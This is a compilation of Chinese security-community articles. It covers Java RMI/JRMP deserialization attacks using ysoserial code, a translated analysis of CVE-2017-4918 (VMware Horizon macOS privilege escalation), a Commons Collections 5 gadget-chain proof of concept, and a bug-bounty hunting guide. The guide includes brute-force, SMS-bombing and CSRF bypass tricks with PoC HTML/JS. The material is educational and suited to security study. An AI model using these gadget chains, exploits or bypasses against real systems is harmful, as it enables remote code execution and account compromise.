Map ouputMap = LazyMap.decorate(innerMap,transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap,"pwn");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
try {
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
Map tmpMap = new HashMap();
tmpMap.put("pwn",badAttributeValueExpException);
Constructor<?> ctor = null;
ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class,tmpMap);
Remote remote = Remote.class.cast(Proxy.newProxyInstance(App3.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.bind("pwn",remote);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
熟悉ysoserial的小伙伴会发现，这其实就是一个ysoserial中的一个payload，而当我启动这个程序，并把这个payload对象动态代理成Remote，并注册到Registry注册中心后，注册中心就会被RCE弹出计算器。
为什么会导致这样呢？其实我们不难猜测，既然触发了RCE，那么必然Registry注册中心执行了这段代码，而这段代码怎么从程序B到程序A的呢，这其中必然是registry.bind("pwn",remote)这个方法中的细节，而java对于对象数据的传输，一向都是通过java原生序列化的方式进行，我们可以尝试抓包看看。
可以清晰的看到，程序B发送了序列化的数据流给程序A，这印证了我前面的猜测。
#### 2.3 为什么使用JRMP能互相对打
在说使用JRMP为什么能互相对打前，我们回顾一下前面第一章写的JRMP的概念“JRMP是一个协议，是用于Java
RMI过程中的协议，只有使用这个协议，方法调用双方才能正常的进行数据交流。”，很明显JRMP是一种协议，它规定了数据是以什么格式、什么形式在RMI的过程进行传输。那就不难理解为什么使用JRMP能互相对打了。
如果说，JRMP协议规定了RMI的时候，传输的数据包含有java原生序列化数据，并且在JRMP的客户端还是服务端，当接收到JRMP协议数据时，都会把序列化的数据进行反序列化的话，那么就不难解析了。
那我们再以一个例子，来讲述如何用JRMP协议使用客户端去打服务端：
* 服务端
我这里使用了ysoserial的payload直接创建一个JRMP的服务端
@PayloadTest( skip = "This test would make you potentially vulnerable")
@Authors({ Authors.MBECHLER })
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.runDeserialize = true;
PayloadRunner.run(JRMPListener.class, new String[] {"8889"});
}
}
* 客户端
接着看ysoserial的exploit目录ysoserial/src/main/java/ysoserial/exploit
exploit
├─JBoss.java
├─JMXInvokeMBean.java
├─JRMPClassLoadingListener.java
├─JRMPClient.java
├─JRMPListener.java
├─JSF.java
├─JenkinsCLI.java
├─JenkinsListener.java
├─JenkinsReverse.java
├─RMIRegistryExploit.java
└RMIRegistryExploit2.java
其中，我们可以利用JRMPClient.java这个exploit去实现打服务端
public class JRMPClient {
public static final void main ( final String[] argsx ) {
String[] args = new String[] {"127.0.0.1","8889","CommonsCollections6","/Applications/Calculator.app/Contents/MacOS/Calculator"};
if ( args.length < 4 ) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String hostname = args[ 0 ];
int port = Integer.parseInt(args[ 1 ]);
try {
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
makeDGCCall(hostname, port, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.releasePayload(args[2], payloadObject);
}
...
}
我们指定了当通过客户端使用JRMP协议去连接服务端时，使用CommonsCollections6这个payload（反序列化gadget
chain），去RCE。
PS：在jdku121开始，部分class会被过滤，导致大部分payload不能被反序列化，报错：
一月 07, 2020 4:20:06 下午 java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class java.util.HashSet, array length: -1, nRefs: 2, depth: 1, bytes: 75, ex: n/a
具体怎么绕过，网上看着挺多文章分析的。
接着我们再以一个例子，来讲述如何用JRMP协议使用服务端去打客户端：
* 服务端
exploit
├─JBoss.java
├─JMXInvokeMBean.java
├─JRMPClassLoadingListener.java
├─JRMPClient.java
├─JRMPListener.java
├─JSF.java
├─JenkinsCLI.java
├─JenkinsListener.java
├─JenkinsReverse.java
├─RMIRegistryExploit.java
└RMIRegistryExploit2.java
我们这里的例子，使用的是ysoserial的JRMPListener.java，并监听9999端口的JRMP连接，当有客户端连上后，会以JRMP的协议格式，把CommonsCollections6的payload发给对方。
public static final void main ( String[] args ) {
args = new String[] {"9999", "CommonsCollections6", "/Applications/Calculator.app/Contents/MacOS/Calculator"};
if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}
* 客户端
我这里使用了ysoserial的payload直接创建一个JRMP的客户端，连接127.0.0.1的9999端口
ysoserial.payloads.JRMPClient：
public static final void main ( String[] args ) {
args = new String[] {"9999", "CommonsCollections6", "/Applications/Calculator.app/Contents/MacOS/Calculator"};
if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}
然后，就能看的计算器弹出来了，顺利RCE。
### 3 打法总结
1. 打Registry注册中心
通过使用Registry连接到注册中心，然后把gadget chain对象bind注册到注册中心，从而引起注册中心反序列化RCE
1. 打InitialContext.lookup执行者
通过使用JNDI的实现，也就是rmi或ldap的目录系统服务，在其中放置一个某名称关联的Reference，Reference关联http服务中的恶意class，在某程序InitialContext.lookup目录系统服务后，返回Reference给该程序，使其加载远程class，从而RCE
1. JRMP协议客户端打服务端
使用JRMP协议，直接发送gadget chain的序列化数据到服务端，从而引起服务端反序列化RCE
1. JRMP协议服务端打客户端
使用JRMP协议，当客户端连上后，直接返回gadget chain的序列化数据给客户端，从而引起客户端反序列化RCE
### 参考：
<https://zh.m.wikipedia.org/wiki/Java%E8%BF%9C%E7%A8%8B%E6%96%B9%E6%B3%95%E8%B0%83%E7%94%A8>
<https://zh.m.wikipedia.org/wiki/Java%E8%BF%9C%E7%A8%8B%E6%96%B9%E6%B3%95%E5%8D%8F%E8%AE%AE>
<https://zh.m.wikipedia.org/wiki/JNDI> | 社区文章 |
# 【漏洞分析】CVE-2017-4918：VMware Horizon的macOS客户端中的代码注入漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：bogner.sh
原文地址：<https://bogner.sh/2017/07/cve-2017-4918-code-injection-in-vmware-horizons-macos-client/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：80RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言**
本文我想讨论下[VMware
Horizon](http://www.vmware.com/products/horizon.html)的macOS客户端（版本4.4.0，5164329）中的一个代码注入漏洞，其可以被用于获得本地root权限。好消息是这个问题已经在[最新的版本](https://www.vmware.com/us/security/advisories/VMSA-2017-0011.html)中被修复了。
**0x01 分析**
在我的MAC上面了解“Open VMware View Client Services”SUID二进制后发现了它。
我认为它是在Horizon的远程USB服务内部使用的，并且只能在启动后输入管理员凭据后才能被利用。
为了进一步调查二进制，我使用了最新的Fireeye的应用程序[Monitor.app](https://www.fireeye.com/services/freeware/monitor.html)。它是macOS上的进程监控工具（[procmon](https://technet.microsoft.com/en-us/sysinternals/processmonitor.aspx?f=255&MSPPError=-2147217396)）。
基于通过Monitor.app捕捉到所有行为，很明显“Open VMware View Client
Services”是services.sh的封装。对于脚本文件SUID位被忽略可以理解。
在仔细浏览这个脚本之后，我确定了下面截图中的高亮部分是代码注入漏洞的启动点。尽管我不知道./vmware-usbarbitrator内部工作原理，但是我立马就注意到应该深入调查这个二进制。我（非管理员用户）能设置环境变量VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS，其在SUID执行脚本中使用。
在进一步浏览命令行选项，我很确定我能使用-kext标志加载自定义的内核扩展。
然而，有其他两个问题：
1\. 内核扩展只在拥有root：wheel权限才能加载
2\.
另外，KEXT必须有[苹果的签名](https://www.google.at/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&cad=rja&uact=8&ved=0ahUKEwiNkYqsq7bTAhXMOBQKHWoBDWYQFggqMAE&url=https%3A%2F%2Fdeveloper.apple.com%2Flibrary%2Fcontent%2Fdocumentation%2FSecurity%2FConceptual%2FSystem_Integrity_Protection_Guide)
本例的LPE我忽略了问题2。因此我[禁用了SIP](http://osxdaily.com/2015/10/05/disable-rootless-system-integrity-protection-mac-os-x/)。
让我们关注于问题1.为了成功加载内核扩展，二进制必须拥有[root:wheel](http://osxdaily.com/2012/01/12/how-to-manually-install-kernel-extensions-in-mac-os-x/)权限。然而，对于一个正常用户，是不可能对任何本地文件设置这个文件系统权限。幸运的是，我已经花了大量时间来学习[Tools On
Air](http://www.toolsonair.com/2013/stories.php?showindex)中的文件系统。因此我知道唯一的事情是我必须利用[NFS](https://en.wikipedia.org/wiki/Network_File_System)。这是可能的，因为NFS允许服务器指定文件系统权限，即使是用户mount的。我所知道的任何其他的本地或者远程文件系统，都会以某些方式忽略文件的拥有权限。因此，下一步是使用NFS导出一个远程文件夹（在我的[Kali
Linux](https://www.kali.org/)上）
使用Finder的“连接到服务器”来mount它。
创建一个简单的KEXT
并更新info.plist文件来满足需要（简单的添加字典“IOKitPersonalities”）
复制这个KEXT到NFS服务器上，它的权限能满足“root:wheel”的需求，最后，我们能启动真正的利用。
为了做到这个，简单的设置VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS环境变量到我们之前创建的KEXT，并运行“Open
VMware View Client Services”。现在可以加载它了。
因此我们能在普通用户账户权限下的内核上下文中得到代码执行的能力。
**0x02 建议的解决方案**
过滤或清除环境变量VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS 和 VMWARE_VIEW_USBD_LOG_OPTIONS。
**0x03 披露时间**
2017-04-21：报告问题
2017-04-24：VMware开始调查
2017-06-06：修复
2017-06-08：更新Horizon版本4.5，及发布安全公告[VMSA-2017-0011
](https://www.vmware.com/us/security/advisories/VMSA-2017-0011.html) | 社区文章 |
# Java安全之Commons Collections5分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在后面的几条CC链中，如果和前面的链构造都是基本一样的话，就不细讲了，参考一下前面的几篇文。
在CC5链中ysoserial给出的提示是需要JDK1.8并且`SecurityManager`需要是关闭的。先来介绍一下`SecurityManager`是干嘛的。`SecurityManager`也就是java的安全管理器，当运行未知的Java程序的时候，该程序可能有恶意代码（删除系统文件、重启系统等），为了防止运行恶意代码对系统产生影响，需要对运行的代码的权限进行控制，这时候就要启用Java安全管理器。该管理器默认是关闭的。
## 0x01 POC分析
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
前面的上半段和CC1链是一模一样的，主要来分析在这两者中不同的部分。
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
前面的new了一个`HashMap`传入到`LazyMap`里面，同时也传入了`ChainedTransformer`实例化对象，当调用get方法的时候，就会调用到`ChainedTransformer`的`transform`f方法，这个没啥好说的，老面孔了。前面也分析过好几回了。主要的是下面的这一段代码。
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
`TiedMapEntry`是一个新生面孔，来查看一下该类源码。
该类的构造方法需要2个参数。所以我们的POC代码中，传入了一个`LazyMap`实例化对象和一个`123`的字符做占位。
而在`getValue`方法里面就会去调用到刚刚赋值的map类get方法。前面我们传入的是`LazyMap`对象，这时候调用get方法的话，就和前面的串联起来达成命令执行了。这里先不做分析，来到下一步，查看一下，哪个地方会调用到该方法。
而在`toString`方法里面就会去调用到`getValue`方法。
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
再来看下面一段代码，new了一个`BadAttributeValueExpException`的对象，并且反射获取`val`的值，将`val`的值设置为`TiedMapEntry`实例化对象。
在`BadAttributeValueExpException`的`readObject`方法会获取到`val`的值，然后赋值给`valObj`变量,然后调用`valObj`的`toString`方法。
## 0x02 CC5链调试
在`readObject`复写点打个断点，也就是`BadAttributeValueExpException`的`readObject`方法。
上面断点的地方会去获取`val`的值，赋值给`valObj`，前面我们使用反射将`val`设置为`TiedMapEntry`的对象。
这里会去调用`valObj`的`toString`方法,也就是`TiedMapEntry`的`toString`方法。跟进一下该方法，查看调用。
这里面会去调用`getKey`和`getValue`方法，这里选择跟踪`getValue`方法。
这里的`this.map`为`LazyMap`实例化对象，是在创建`TiedMapEntry`对象的时候传参进去的。再跟进一下get方法就和前面调试CC1链的步骤一样了。
这里会去调用`this.factory`的`transform`,也就是`ChainedTransformer`的`transform`。再来跟进一下。
接着就是遍历调用数组里面的`transform`方法。第一个值为`ConstantTransformer`，会直接返回传参的值。
这里返回的是`Runtime`，将该值传入第二次的参数里面调用`transform`方法。
第二次遍历的值是`InvokerTransformer`对象，
这里的`transform`方法会反射去获取方法并且进行执行。第二次执行返回的是`Runtime.getRuntime`的实例化对象。再传入到第三次执行的参数里面去执行。
第三次去执行则是获取返回他的`invoke`方法,传入给第四次执行的参数里面。
第四次执行里面的`this.iMethodName`为`exec`,`this.iArgs`为`calc`。执行完成这一步过后就会去执行我们设置好的命令，也就是calc。弹出计算器。
### 调用链
BadAttributeValueExpException.readObject->TiedMapEntry.toString
->LazyMap.get->ChainedTransformer.transform
->ConstantTransformer.transform->InvokerTransformer.transform
->Method.invoke->Class.getMethod
->InvokerTransformer.transform->Method.invoke
->Runtime.getRuntime-> InvokerTransformer.transform
->Method.invoke->Runtime.exec
## 0x03 结尾
其实在该链的后面中，并没有写太详细，因为后面和CC1链中的都是一模一样的。如果没有去调试过的话，建议先去调试一下CC1的链。 | 社区文章 |
## SRC混子的漏洞挖掘之道
一个SRC混子挖SRC的半年经验分享~,基本都是文字阐述，希望能给同样在挖洞的师傅们带来一点新收获。
### 前期信息收集
还是那句老话,渗透测试的本质是信息收集，对于没有0day的弱鸡选手来说，挖SRC感觉更像是对企业的资产梳理，我们往往需要花很长的时间去做信息收集，收集与此公司相关的信息，包括
**企业的分公司，全资子公司，网站域名、手机app,微信小程序，企业专利品牌信息，企业邮箱，电话**
等等，对于很多万人挖的src来说，你收集到了别人没有收集过的资产，往往离挖到漏洞就不远了。
#### 企业相关信息收集
* 企查查 (<https://www.qcc.com）>
* 天眼查(<https://www.tianyancha.com/>)
* 启信宝（<https://www.qixin.com/>)
企查查、天眼查淘宝都有那种一天的会员。对于我们信息收集其实已经够用，个人更喜欢用企查查，因为它能一键导出域名，还可以直接查看企业关联的子公司，比较方便。
**主要查询的信息:**
1. 一般大的src都有许多子公司,企查查可以在所属集团中查看该集团下子公司，并且可以导出。
2. 查看同电话企业基本都是子公司。
3. 查看股份穿透图，一般来说控股超过50%的子公司的漏洞SRC收录的可能性都比较大。
4. 查看企业下的app、小程序、还有品牌的资产，直接在搜索引擎里搜索品牌可能会有意想不到的收获。（找到一些平常收集不到的资产)
PS:一般来说100%的全资子公司src漏洞是一定会收的，其他子公司资产可能需要与src审核沟通（扯皮)。
* 站长之家:<http://whois.chinaz.com/>
* 邮箱反查、注册人反查、电话反查。
* 推荐个项目:<https://github.com/code-scan/BroDomain> 兄弟域名查询。
* <https://www.qimai.cn/>
* 七麦数据，可以查到企业下一些比较冷门的app。
**信息整理**
当我们通过各种手段对挖掘的企业进行信息收集后，我们大致能得到以下有用的信息
* 主公司及分公司、子公司下所有归属的网站域名信息；
* 主公司及分公司、子公司下所有的专利品牌和开发的一些独立系统。
* 主公司及分公司、子公司下所有的app资产和微信小程序。
之后我们需要对这些信息进行归纳和整理,比如哪些是该公司的主资产，哪些是边缘资产，哪些资产看上去比较冷门，我们是可以重点关注和进行深入挖掘的。
#### 子域名收集和网站信息收集
子域名的话，对于我来说oneforall和xray的功能已经足够强大了，对于一些主域名来说，如果想要充分的收集子域名，最好用特大号字典进行最少三层的子域名爆破。这块还是layer子域名挖掘机不错。
##### 通过github收集子域名
先分享一个姿势，很多时候github上已经有热心的师傅分享了自己跑出的子域名，所以可以先到github找一找有没有现成的可以白嫖，没啥好语法，纯靠大海捞针。。
##### oneforAll
<https://github.com/shmilylty/OneForAll>
* 需要到配置文件里填写api接口信息，
* 根据需求修改其他的配置，比如可以配置一些常见的端口，当做简单的端口扫描工具用。
命令
python oneforall.py --targets ./domain.txt run
python oneforall.py --targets ./domain.txt --brute true run
我实际操作发现在挂了外网代理和没挂代理时跑出来的子域有时候差的有点大，想收集的全一点的师傅可以不挂代理和挂代理都跑一遍。然后去重一下。
##### xray
子域名探测需要高级版，可以自己写个十几行的代码进行批量探测，也可以直接用这个项目里的代码，
<https://github.com/timwhitez/rad-xray> 命令改一下能批量探测子域名，一般5到10分钟一个子域。
##### Goby
官网:<https://gobies.org/>
因为之前一直在用masscan+nmap的方式进行端口扫描，用这个项目:<https://github.com/hellogoldsnakeman/masnmapscan-V1.0>
前一段时间接触到goby，感觉可视化的工具用起来还是舒服，可以短时间对一些常见端口进行扫描，还能对网站进行指纹识别，报告看起来挺舒服的。
因为在实际的端口扫描过程，由于cdn或者防火墙的原因，所以没必要一上来就全端口扫描，听一位师傅分享的经验，比如当扫描到22端口开放时，说明这个ip没有cdn保护，对于这种ip我们可以提取出来，然后重点进行全端口扫描，有收获的可能性会比较大。
##### BBScan
猪猪侠师傅写的工具，速度很快，简单的目录扫描，主要是可以探测C段下面的很多资产，扩充攻击面。
项目地址:
<https://github.com/lijiejie/BBScan>
<https://github.com/yhy0/BBScan> （添加了springboot的泄露探测）
* 可以对域名、ip、C段进行探测
* 快速探测管理后台
* 进行端口探测
* 探测敏感信息泄露
* 可以自定义扫描规则
report下看报告,误报肯定会很多，但C段下很可能会有意想不到的资产。
##### js信息收集
主要是爬取网站的敏感js文件，js中能收集到的信息:
* 增加攻击面(url、域名)
* 敏感信息(密码、API密钥、加密方式)
* 代码中的潜在危险函数操作
* 具有已知漏洞的框架
常用的工具
速度很快的jsfinder <https://github.com/Threezh1/JSFinder>
xray的rad爬虫 <https://github.com/chaitin/rad>
能够匹配敏感信息的JSINFO-SCAN：<https://github.com/p1g3/JSINFO-SCAN>
### 捡中低危漏洞的一些技巧
刚开始挖src往往不知道从哪下手，首先我们其实可以从各个src平台提交漏洞下拉框里看一看收取的漏洞类型。然后针对性的去学习如何挖掘，比如某src收取的漏洞类型,我们就可以针对性的学习对应的挖掘技巧。
框架注入
明文密码传输
表单破解漏洞
IIS短文件名泄露
老旧过期的HTTPS服务
跨目录下载漏洞
目录可浏览漏洞
LFI本地文件包含漏洞
RFI远程文件包含漏洞
HTTP拒绝服务攻击
弱口令登录
CSRF跨站点请求伪造
Flash点击劫持
SQL注入漏洞
XSS跨站脚本漏洞
文件上传漏洞
解析漏洞:IIS解析漏洞
解析漏洞:Apache解析漏洞
Cookies注入漏洞
越权访问漏洞
命令执行漏洞
Struts2远程代码执行漏洞
业务逻辑漏洞
用户隐私泄露
敏感信息泄漏(运维)
敏感信息泄漏(研发)
敏感文件泄漏(运维)(配置)
敏感文件泄漏(运维)(权限)
未验证的重定向和传递
Flash跨域访问资源
测试文件泄漏
开启危险的HTTP方法
HTTP参数污染
Unicode编码绕过
源码泄漏
后台目录泄漏
链接注入漏洞
SSRF服务器请求伪造
jsonp劫持
学习完基础的漏洞类型后，我们可以多看一些实战的漏洞报告。比如wooyun漏洞库和hackone上的报告。
* 乌云漏洞库:<https://wooyun.x10sec.org/>
* hackone报告：<https://pan.baidu.com/s/1jPUSuoERSIDw2zCKZ0xTjA> 提取码:2klt
这里列举一些我经常挖到的垃圾洞，生而为人，挖不到大洞，我很抱歉┭┮﹏┭┮。
#### 登录框处常见的一些漏洞
在我们通过对目标的前期信息收集之后，首当其冲的往往就是各种奇奇怪怪的登录框，一般来说，大型的企业为了减少安全问题，一般都是用统一的登录接口登录不同的旗下网站，但是一些后台系统，运维系统，或者一些边缘业务使用了独立的注册、登录体系，这个时候往往就会存在安全问题。
**现在还能用的接码平台:**
* <http://www.114sim.com/>
* <https://yunduanxin.net/China-Phone-Number/>
* <https://www.materialtools.com/>
##### 绕过限制导致的爆破、撞库、用户遍历漏洞
最常见的一种漏洞，尤其是一些老旧的后台系统，可能验证码抓个包就绕过去了。下面是一些常见的绕过姿势:
* 验证码不刷新
* 验证码抓包绕过
* 验证码删除绕过
* 验证码置空绕过
* 修改xff头绕过:推荐个burp插件,<https://github.com/TheKingOfDuck/burpFakeIP>
* 账号后加空格绕过账号错误次数限制。
一般来说如果只是简单的验证码绕过，一般都是低危，所以一般能够绕过验证码的情况，都要尝试爆破一波账号密码。
##### 弱口令漏洞
**没有验证码或者验证码可以绕过的情况**
直接上一手字典爆破，当然还是有一些小技巧:
* 比如可以设置固定的弱密码，比如123456，然后爆破账号。
* 比如可以首先收集一些网站的信息针对性的制作字典，比如域名，员工邮箱，企业名称等等,推荐工具:白鹿社工字典生成:<https://github.com/HongLuDianXue/BaiLu-SED-Tool>
爆破的关键在于字典，常见的字典github上都有,但是普通的弱口令现在确实不太好用了，要想提高成功的机率，还是需要碰一碰强密码，分享先知的文章:
* <https://xz.aliyun.com/t/7823>
* <https://github.com/huyuanzhi2/password_brute_dictionary>
**有验证码且无法绕过的情况**
* github直接找员工账号邮箱，密码。
* 源码或者js文件查找线索，邮箱，或者加密的账号密码。
* 特定系统或者cms，搜索引擎搜索默认管理员或者测试密码。
* 手动尝试常见弱口令。
##### 注册、登录、找回密码处的短信\邮箱轰炸漏洞
这个也挺常见的，一般可以对特定用户进行轰炸的是一定会收的，横向轰炸能够消耗资源的随缘收。常见的绕过姿势:
* 加空格绕过
* 加任意字母绕过
* 前面加86绕过
* xff头伪造ip绕过
##### 逻辑缺陷的导致的任意用户注册、登录、找回密码漏洞
因为这方面漏洞一旦出现基本都是高危，所以挖掘的时候
类似的思路我就不细说了,freebuf上有任意用户密码重置的系列文章,类似漏洞思路其实相差不大:
<https://www.freebuf.com/author/yangyangwithgnu>
#### 常见的信息泄露漏洞
敏感信息泄露的范围很广，我认为一般就是两大类，
* 因为配置错误或者管理不当导致的企业内部信息泄露。
* 因为逻辑缺陷导致的用户资料泄露(遍历)。
##### github导致的信息泄露
* P牛知识星球里分享的github搜索关键词:<https://twitter.com/obheda12/status/1316513838716551169>
* github子域名监控项目:<https://github.com/FeeiCN/GSIL>
* 常见的泄露内容:
* 员工内部邮箱、登录账号、密码。
* 企业的一些内部系统域名、ip泄露。
* 企业网站的工程代码、网站源码泄露，可以通过员工邮箱关键词查找，要注意日期，好几年的大概率不收了。
乌云上有一些案例，可以看一看。
##### 配置错误导致的信息泄露
包含的类型很多，最重要的是有一份足够强大的字典和一个好用的扫描器。
我在实际进行探测的时候，对于大批量的域名来说，更喜欢先用一份精简的小字典先进行快速扫描
比如:
* 备份文件的小字典
* springboot泄露的小字典
* 网站后台的小字典
比较出名的扫描器我们常见的dirsearch、dirmap，dirbuster等等。
可视化的比如TEST404系列、御剑扫描器使用体验也不错。
注:信息泄露中比较常见的swagger-ui服务泄露，可能直接提交会忽略或者低危，别忘了进一步测试泄露的接口功能。
##### 越权导致的信息泄露
很多时候越权来来去去都是更改一个参数的问题,更多的时候还是要细心的一个一个测业务功能，注意观察和测试操作参数和对象参数，操作参数一般是增删改查对应特定业务的敏感操作、对象参数一般是用户或者物品等。
推荐几个burp插件:
* 未授权检测： <https://github.com/theLSA/burp-unauth-checker>
* 敏感参数提取：<https://github.com/theLSA/burp-sensitive-param-extractor>
* 信息提取：<https://github.com/theLSA/burp-info-extractor>
插件的作用基本还是帮助我们快速定位敏感参数，实际测试还是需要我们一个包一个包仔细的分析程序逻辑。
**常见的一些越权情况:**
* 基于用户ID的越权
* 基于功能对象ID的越权
* 基于上传对象ID的越权
* 基于未授权访问的越权
* 基于功能地址的越权
* 基于接口身份的越权
### 其他的OWASPTop10漏洞
#### CSRF漏洞
CSRF漏洞在挖掘中最重要的是说明危害，比较容易扯皮，一般来说涉及用户资料、财产、权限的CSRF漏洞大概率会收，一般来说最高就是中危。捡捡垃圾洞还是可以的。
**常见的漏洞点**
1、修改个人资料、邮箱、密码、头像
2、发表文章
3、添加、删除评论
4、添加、修改、删除收货地址
5、添加管理员
**(1) GET型**
GET类型的CSRF利用非常简单，只需要一个HTTP请求，所以，一般会这样利用：
* <img src=http://www.xxxxx.com/csrf?xx=11 />
( **2) POST型**
POST请求中没有token参数，然后请求也没有验证referer信息。这种是存在CSRF情况最多的一种。这种漏洞的检测方法也很简单，网页操作某功能，抓包后，如果发现没有token等参数，然后就将referer信息设置为空，再次发包请求，如果请求成功了，就说明这里有CSRF漏洞。
poc(可以用burp自己生成的）:
<html>
<body>
<form name="px" method="post" action="http://www.xxxxx.com/add">
<input type="text" name="user_id" value="1111">
</form>
<script>document.px.submit(); </script>
</body>
</html>
POST请求数据为json，当服务器没有严格校验content-type类型时，POC为：
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.xxxx.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "text/plain;charset=UTF-8"); xhr.send('{"role":admin}');
</script>
##### 3\. Flash 型
Flash CSRF通常是由于Crossdomain.xml文件配置不当造成的，利用方法是使用swf来发起跨站请求伪造。
利用条件：
1、目标站点下必须存在crossdomain.xml文件。
2、crossdomain.xml中的配置允许其他域进行跨域请求。
<?xml version="1.0"?><cross-domain-policy> <allow-access-from domain="*" /></cross-domain-policy>
**bypass小技巧**
* 删除csrf token
* 置空csrf token
* 修改请求方法，如POST方法变GET请求
* 使用与token相同长度的任意字符串替换token，例如尝试更改一个字符，看看或发生什么
* 使用固定token
* token字段改成 token[]=
#### 任意文件上传漏洞
这个洞遇到的也比较多，一般来说是后端没有限制上传文件的类型。但是上传的脚本文件也不会解析。也就没有办法getshell。(很多SRC对于上传到cdn云服务器的任意文件上传是忽略的)。
* 上传含有xss代码的html文件，造成存储型xss(如果上传到了cdn服务器之类的大概率忽略)。
* 上传恶意文件进行钓鱼
* 尝试在上传的文件名前加../进行目录穿越。
* 可以结合其他漏洞比如CORS漏洞扩大危害。
